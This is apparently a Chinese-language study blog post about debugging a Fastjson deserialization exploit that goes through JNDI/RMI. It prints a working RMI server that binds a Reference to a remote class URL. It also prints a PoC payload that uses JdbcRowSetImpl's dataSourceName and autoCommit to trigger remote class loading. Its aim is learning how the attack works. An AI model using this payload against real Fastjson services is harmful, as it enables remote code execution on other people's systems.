前言
也是被一个问题困扰了好久,都要崩溃了,就为了一个问题调试半天的代码,最后终于解决了,现在做一个记录,幸好没有放弃,感觉学java是比较慢的,但是学java就是重在分析能力的提升,所以慢也没有关系
问题
对于fastjson之rmi利用的时候,发现我开启python服务,上面放了我的恶意代码,但是竟然没有获取到我们的恶意代码就弹出了计算器,这是为什么,很离谱
解决思考一
难道是我的代码写错了,于是决定去抄一下别人的代码,代码如下
RMI服务端
RMIServer
- [ ] package FastJson24.JdbcRowSetImpl.RMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1098);
// 第一个参数无所谓,第二个参数为我们http下的类名
Reference refObj = new Reference("Exp.class", "Exp", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
学习过rmi的话,可以简单分析一下代码,因为我们的是服务端和注册是在一个代码里面
首先我们创建了一个注册表,绑定我们的1098端口,然后创建了一个refernce对象,Exp.class"是类名,"Exp"是工厂类名,而"http://127.0.0.1:8000/"是包含这个类的URL路径。当客户端查找这个对象时,RMI注册表将告诉客户端从哪里下载这个类。
而我们的ReferenceWrapper则是实现了remote接口,因为我们如果要把refenrce加载到注册表上,就需要一个实现remote接口的类,ReferenceWrapper 类解决了这个问题。它扩展了 Remote 接口,并包装了一个 Reference 对象。这样,ReferenceWrapper 的实例就可以被绑定到 RMI 注册表中,并且可以通过 RMI 进行远程访问。
最后bind方法将ReferenceWrapper对象绑定到RMI注册表中的"refObj"这个名称上。这样客户端就可以通过这个名称来查找并下载相应的类,然后进行远程方法调用。
我们的poc
package FastJson24.JdbcRowSetImpl.RMI;
import com.alibaba.fastjson.JSON;
public class FJPoC {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1098/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
可以看到poc是通过设置JdbcRowSetImpl的dataSourceName的值
感觉也是没有问题啊,确实没问题,这里就复现rmi的知识吧
问题解决二
我们的poc没有问题,我们看看报错
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue
难道我们的autoCommit":true没有设置成功,我们调试一下看看,这个autoCommit是在哪里调用
可以看到是被设置成功了的,所以也不是这个问题
jdk版本问题,fastjson版本
也是去看了一下,没有问题
正解
到我们的getObjectFactoryFromReference方法按理来说这里本地应该是获取到null的,进入到下面的远程调用,但是问题就是在根本没有进入到下面的,本地就已经有了
我们导航过去看看
原来就是自己的这个exp,那问题应该是出现在这,我们把这个删了之后,再次调试,成功解决了问题,调用到了远程的类
总结
当然,自己尝试的方法远远不止这些,调试了很多。所以如果自己更清楚这个过程的话,知道过程的关键点就会容易得多。